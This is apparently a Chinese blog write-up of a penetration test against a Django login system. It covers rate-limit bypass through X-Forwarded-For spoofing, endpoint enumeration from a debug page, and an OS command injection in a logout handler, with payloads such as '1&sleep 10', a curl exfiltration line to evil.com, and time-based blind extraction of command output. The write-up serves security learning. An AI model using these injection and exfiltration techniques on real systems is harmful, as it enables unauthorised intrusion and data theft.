【漏洞笔记】登陆口:通用组件漏洞挖掘挖掘从报错信息到rce

记录一次基础通用渗透测试

图片.png

注:该漏洞早已修复

因为登录ui敏感,这里用个其他登录口做个示例。

图片.png

接口/login/?nLang=0,首先从网站逻辑层面入手。

弱口令adminadmin,还有网络搜索默认账号密码等

图片.png

但是有次数限制。如果是通过ip判断,可以尝试添加xff头。如果是cookie判断,可以尝试构造空cookie或者是随机cookie。

图片.png

图片.png

发现这里添加了x-forwarded-for伪造客户端ip成功了,服务端接收了参数,这里xff头可以尝试sql注入,但是我没测。

接下来就是无聊的爆破环节,由于我爆破了大半辈子没爆破出来,就应该要尝试更优雅,更简洁帅气的路线。

接下来从网站底层框架等入手
随便构造个错误路径/log,发现爆东西了

图片.png

Django框架一大堆接口泄露,确定了框架可以查后台路径,但是后台路径被删除了,无法访问。

图片.png

提取了1000多个接口

图片.png

图片.png

有好多接口回显了错误信息,这些错误信息一部分提示MultiValueDictKeyError,一部分提示typeerror等,证明此网站处理用户请求优先于鉴权的,所以这个存在未授权。

往下看,每个接口都存在泄露了django,python版本号,可以查cve打nday了。

而且还泄露了数据库用户名端口等信息

图片.png

图片.png

其中有很多接口很亮眼,其中我看到了dologout接口。毕竟我之前登录界面从loginout删除了某cookie字段得知了管理员cookie的字段然后就从cookiesql注入进去,所以第一时间先想测测这个。

图片.png

剩下还泄露了部分目标代码。

重点观看

*`255.dic['sComment'] = langData['Successful']

  1.            list.append(dic)
    
  2.    return JsonResponse(list,safe=False)
    
  3. def doLoginOut(request):
  4.    hData     = request.GET
    
  5.                spath   = r'/tmpfile/loginfile/'+str(hData['token'])
    
  6.    delfile = "rm -rf %s"%(spath)
    
  7.    os.system(delfile)
    
  8.    return HttpResponse(0)
    
  9. #主备配置同步
  10. def doSyncConfigToSlave(request):

`*

66666,不打自招。观察这段代码,先get接收了用户请求参数token,然后将token拼接到系统命令里面,然后os.system直接执行,没有任何过滤。

可以尝试拼接管道符(|,&,||,&&,;用来表达两个命令之间的承接关系,通常表达执行完一个命令然后立刻执行管道符后面的命令)

如果我token输入1&sleep 10,变成rm -rf /tmpfile/loginfile/1&sleep 10。会删除此文件夹不存在的文件,然后同时延时10秒。

注意实战中要将&url编码防止被解析成参数。

这样语句变成rm -rf /tmpfile/loginfile/1&sleep 10

图片.png

构造sleep 10与sleep 1

尝试多次稳定在sleep秒数后返回响应

确定有系统命令注入

接下来开始外带信息

这里可以把&换成;或者将命令用``或者$()包裹这样可以在linux中将命令解析成一个函数变量,命令里面必须会执行,常规用法curl http://evil.com/1?data=$(whoami),这样会把whoami命令执行结果发送到服务器,也可以绕过对管道符的注入,直接将命令作为变量拼接到常规信息中,类似111$(Sleep+10)

通过ping指令可以ping ss.dnslog.cn测试是否能外带
这里我都尝试过了,dnslog仍无响应

图片.png

可能是没有ping,curl等危险组件?

我突然灵光一现,想出可以测试是否与外网连通的办法

利用ssh,构造ssh aaa@sss.dnslog.cn

然后发现仍无结果。

那就明了了,估计是因为前后端分离,那可能无法访问外网来外带。

那如何读取服务器命令执行的结果呢?

那也难不倒我

在sql注入中,当目标服务器无法回显任何有效的信息(包括服务器处理用户信息是否成功),会使用”时间盲注”加“布尔盲注”。

逻辑:如果数据库名字的第一个字哈ascii码为1就不延时10秒,如果是就延10秒

然后测试ascii码为2以此类推遍历能出完整数据库名字。
可以沿用这个逻辑。

那exp可以这样写

图片.png

这里将执行结果写入文件因为防止频繁执行特定指令造成的风险,还有执行读取进程这类结果不断变化的指令无法爆破乱码的结果。

这里逐字爆破目标为了节省时间,采用二分法

先判断ascii码是否大于125,如果大于,那就判断有没有大于180等,缩小范围然后得到字符。

*还有种方法是先测定第一位数字再确定第二位数字,这样循环爆破,效率其实要高很多,方法也偏小众,这里先暂且不提。 *

然后把想法整理一下交给ai,不断调试,exp就写好了。

图片.png

图片.png

然后就可以成功的外带信息,拿下高危通用漏洞。文章较长,是否对你有帮助,感谢观看。

温馨提示:本文内容仅用于合法授权的安全学习与研究交流,严禁用于未授权渗透测试、漏洞利用或任何违法行为。

涉及企业或平台的未公开漏洞信息,请遵循负责任披露原则,勿公开传播可直接复现的敏感细节。

如存在侵权、错误信息或不当内容,请联系站方处理,我们将及时核实并删除。邮箱:admin@baimaojianghu.com。